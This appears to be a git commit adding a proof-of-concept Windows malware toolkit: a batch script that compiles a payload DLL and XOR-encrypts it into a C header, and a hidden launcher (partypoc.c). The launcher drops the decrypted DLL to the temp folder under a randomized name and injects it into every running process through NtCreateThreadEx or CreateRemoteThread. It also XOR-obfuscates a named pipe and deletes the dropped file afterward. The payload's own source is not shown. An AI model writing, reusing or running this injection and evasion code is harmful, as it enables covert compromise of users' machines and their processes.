Upload files to "/"
This commit is contained in:
@@ -0,0 +1,74 @@
|
||||
@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
|
||||
set CLANG=C:\Program Files\LLVM\bin\clang.exe
|
||||
|
||||
REM ── Install LLVM if missing ────────────────────────────────────────────────
|
||||
if not exist "%CLANG%" (
|
||||
echo [*] LLVM not found. Installing via winget...
|
||||
winget install --id LLVM.LLVM -e --source winget
|
||||
if errorlevel 1 ( echo [-] LLVM install failed. & exit /b 1 )
|
||||
if not exist "%CLANG%" ( echo [-] clang.exe still not found after install. & exit /b 1 )
|
||||
)
|
||||
|
||||
REM ── Locate llvm-mingw sysroot (WinGet package) ────────────────────────────
|
||||
set MINGW_BASE=%LOCALAPPDATA%\Microsoft\WinGet\Packages
|
||||
set MINGW=
|
||||
for /d %%d in ("%MINGW_BASE%\MartinStorsjo.LLVM-MinGW*") do (
|
||||
for /d %%e in ("%%d\llvm-mingw-*-ucrt-x86_64") do set MINGW=%%e
|
||||
)
|
||||
|
||||
if "!MINGW!"=="" (
|
||||
echo [*] llvm-mingw not found. Installing via winget...
|
||||
winget install --id MartinStorsjo.LLVM-MinGW.UCRT -e --source winget
|
||||
if errorlevel 1 ( echo [-] llvm-mingw install failed. & exit /b 1 )
|
||||
for /d %%d in ("%MINGW_BASE%\MartinStorsjo.LLVM-MinGW*") do (
|
||||
for /d %%e in ("%%d\llvm-mingw-*-ucrt-x86_64") do set MINGW=%%e
|
||||
)
|
||||
)
|
||||
|
||||
if "!MINGW!"=="" ( echo [-] Cannot locate llvm-mingw sysroot. & exit /b 1 )
|
||||
echo [+] Using sysroot: !MINGW!
|
||||
|
||||
set TARGET=x86_64-w64-mingw32
|
||||
set RDIR=!MINGW!\lib\clang\22
|
||||
set INC1=!MINGW!\include
|
||||
set INC2=!MINGW!\x86_64-w64-mingw32\include
|
||||
set LIB=!MINGW!\x86_64-w64-mingw32\lib
|
||||
set FLAGS=-target %TARGET% -resource-dir "!RDIR!" -I"!INC1!" -I"!INC2!" -L"!LIB!" -fuse-ld=lld -rtlib=compiler-rt -Wno-unused-command-line-argument
|
||||
|
||||
REM ── Step 1: Compile payload DLL ───────────────────────────────────────────
|
||||
echo [1] Compiling party.c -^> party_payload.dll ...
|
||||
"%CLANG%" -shared -o party_payload.dll party.c -lkernel32 -luser32 -lgdi32 -ladvapi32 -lm %FLAGS%
|
||||
if errorlevel 1 ( echo [-] DLL compile failed. & exit /b 1 )
|
||||
echo [+] party_payload.dll built.
|
||||
|
||||
REM ── Step 2: Embed DLL as XOR-encrypted C array (PowerShell) ─────────────
|
||||
echo [2] Embedding DLL into party_blob.h ...
|
||||
powershell -NoProfile -NonInteractive -Command ^
|
||||
"$d=[System.IO.File]::ReadAllBytes('party_payload.dll');" ^
|
||||
"$enc=[byte[]]::new($d.Length);" ^
|
||||
"for($i=0;$i-lt$d.Length;$i++){$enc[$i]=$d[$i]-bxor($i-band 0xFF)}" ^
|
||||
"$sb=[System.Text.StringBuilder]::new();" ^
|
||||
"[void]$sb.Append('#pragma once`n#include <stddef.h>`nstatic const unsigned char PARTY_DLL_DATA[]={`n');" ^
|
||||
"for($i=0;$i-lt$enc.Length;$i++){" ^
|
||||
" if($i%%16-eq 0){[void]$sb.Append(' ')}" ^
|
||||
" [void]$sb.Append('0x'+$enc[$i].ToString('x2')+',')" ^
|
||||
" if($i%%16-eq 15){[void]$sb.Append(\"`n\")}" ^
|
||||
" else{[void]$sb.Append(' ')}" ^
|
||||
"}" ^
|
||||
"[void]$sb.Append(\"`n};\`nstatic const size_t PARTY_DLL_SIZE=$($d.Length);\`n\");" ^
|
||||
"[System.IO.File]::WriteAllText('party_blob.h',$sb.ToString());" ^
|
||||
"Write-Host '[+] Embedded' $d.Length 'bytes -> party_blob.h'"
|
||||
if errorlevel 1 ( echo [-] Blob embed failed. & exit /b 1 )
|
||||
|
||||
REM ── Step 3: Compile launcher EXE ──────────────────────────────────────────
|
||||
echo [3] Compiling partypoc.c -^> partypoc.exe ...
|
||||
"%CLANG%" -o partypoc.exe partypoc.c -lkernel32 -luser32 -lntdll -mwindows %FLAGS%
|
||||
if errorlevel 1 ( echo [-] EXE compile failed. & exit /b 1 )
|
||||
|
||||
echo.
|
||||
echo [+] Done. Run: partypoc.exe
|
||||
for %%f in (partypoc.exe) do echo [+] Size: %%~zf bytes
|
||||
|
||||
endlocal
|
||||
+6310
File diff suppressed because it is too large
Load Diff
Binary file not shown.
+128
@@ -0,0 +1,128 @@
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include "party_blob.h"
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
typedef NTSTATUS (WINAPI *PFN_NtCreateThreadEx)(
|
||||
HANDLE*, ACCESS_MASK, void*, HANDLE,
|
||||
LPTHREAD_START_ROUTINE, void*, ULONG,
|
||||
SIZE_T, SIZE_T, SIZE_T, void*);
|
||||
|
||||
static PFN_NtCreateThreadEx g_NtCTE = NULL;
|
||||
static FARPROC g_loadlib = NULL;
|
||||
|
||||
static BOOL inject_nte(DWORD pid, const WCHAR *dll_path) {
|
||||
HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
if (!hp) return FALSE;
|
||||
SIZE_T path_bytes = (wcslen(dll_path)+1)*2;
|
||||
LPVOID remote = VirtualAllocEx(hp, NULL, path_bytes+16, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!remote) { CloseHandle(hp); return FALSE; }
|
||||
SIZE_T written = 0;
|
||||
WriteProcessMemory(hp, remote, dll_path, path_bytes, &written);
|
||||
HANDLE hthread = NULL;
|
||||
NTSTATUS st = 0;
|
||||
if (g_NtCTE) {
|
||||
st = g_NtCTE(&hthread, THREAD_ALL_ACCESS, NULL, hp,
|
||||
(LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, 0, 0, 0, NULL);
|
||||
} else {
|
||||
DWORD tid = 0;
|
||||
hthread = CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, &tid);
|
||||
st = hthread ? 0 : -1;
|
||||
}
|
||||
BOOL ok = (st == 0 && hthread && hthread != INVALID_HANDLE_VALUE);
|
||||
if (ok) CloseHandle(hthread);
|
||||
CloseHandle(hp);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static BOOL drop_dll(WCHAR *out_path) {
|
||||
WCHAR tmp[MAX_PATH];
|
||||
GetTempPathW(MAX_PATH, tmp);
|
||||
SYSTEMTIME st; GetSystemTime(&st);
|
||||
wsprintfW(out_path, L"%s%04x%04x%04x.dll",
|
||||
tmp, st.wMilliseconds^0xAB3F,
|
||||
(st.wSecond<<8)|st.wMinute,
|
||||
GetCurrentProcessId()^0x1337);
|
||||
BYTE *buf = (BYTE*)VirtualAlloc(NULL, PARTY_DLL_SIZE, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!buf) return FALSE;
|
||||
for (size_t i = 0; i < PARTY_DLL_SIZE; i++)
|
||||
buf[i] = PARTY_DLL_DATA[i] ^ (BYTE)(i & 0xFF);
|
||||
HANDLE hf = CreateFileW(out_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hf == INVALID_HANDLE_VALUE) { VirtualFree(buf, 0, MEM_RELEASE); return FALSE; }
|
||||
DWORD w = 0;
|
||||
WriteFile(hf, buf, (DWORD)PARTY_DLL_SIZE, &w, NULL);
|
||||
CloseHandle(hf);
|
||||
VirtualFree(buf, 0, MEM_RELEASE);
|
||||
return (w == (DWORD)PARTY_DLL_SIZE);
|
||||
}
|
||||
|
||||
typedef struct { DWORD pid; } PID_ENTRY;
|
||||
static int enum_pids(PID_ENTRY *out, int max) {
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32W pe = { sizeof(pe) };
|
||||
int n = 0;
|
||||
if (Process32FirstW(snap, &pe)) do {
|
||||
if (pe.th32ProcessID > 8 && n < max) {
|
||||
out[n].pid = pe.th32ProcessID;
|
||||
n++;
|
||||
}
|
||||
} while (Process32NextW(snap, &pe));
|
||||
CloseHandle(snap);
|
||||
return n;
|
||||
}
|
||||
|
||||
static volatile LONG g_done = 0;
|
||||
static WCHAR g_pipe_name[64];
|
||||
|
||||
static DWORD WINAPI pipe_server(void *unused) {
|
||||
while (1) {
|
||||
HANDLE h = CreateNamedPipeW(g_pipe_name,
|
||||
PIPE_ACCESS_INBOUND,
|
||||
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
|
||||
255, 64, 64, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) { Sleep(10); continue; }
|
||||
ConnectNamedPipe(h, NULL);
|
||||
DWORD pid=0, r=0;
|
||||
ReadFile(h, &pid, 4, &r, NULL);
|
||||
if (r == 4) InterlockedIncrement(&g_done);
|
||||
CloseHandle(h);
|
||||
}
|
||||
}
|
||||
|
||||
static void build_pipe_name(WCHAR *out) {
|
||||
const WCHAR prefix[] = L"\\\\.\\pipe\\";
|
||||
const BYTE enc[] = {0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
|
||||
wcscpy(out, prefix);
|
||||
WCHAR *p = out + wcslen(prefix);
|
||||
for (int i=0; i<10; i++) p[i] = (WCHAR)(enc[i]^0x11);
|
||||
p[10] = 0;
|
||||
}
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR cmd, int show) {
|
||||
HMODULE hk32 = GetModuleHandleW(L"kernel32.dll");
|
||||
HMODULE hntdll = LoadLibraryW(L"ntdll.dll");
|
||||
g_loadlib = GetProcAddress(hk32, "LoadLibraryW");
|
||||
if (hntdll)
|
||||
g_NtCTE = (PFN_NtCreateThreadEx)GetProcAddress(hntdll, "NtCreateThreadEx");
|
||||
|
||||
WCHAR dll_path[MAX_PATH];
|
||||
if (!drop_dll(dll_path)) return 1;
|
||||
|
||||
build_pipe_name(g_pipe_name);
|
||||
CreateThread(NULL, 0, pipe_server, NULL, 0, NULL);
|
||||
|
||||
PID_ENTRY *pids = (PID_ENTRY*)VirtualAlloc(NULL, 4096*sizeof(PID_ENTRY), MEM_COMMIT, PAGE_READWRITE);
|
||||
int n = enum_pids(pids, 4096);
|
||||
DWORD my_pid = GetCurrentProcessId();
|
||||
|
||||
for (int i = 0; i < n; i++) {
|
||||
if (pids[i].pid != my_pid)
|
||||
inject_nte(pids[i].pid, dll_path);
|
||||
}
|
||||
VirtualFree(pids, 0, MEM_RELEASE);
|
||||
|
||||
Sleep(90000);
|
||||
DeleteFileW(dll_path);
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user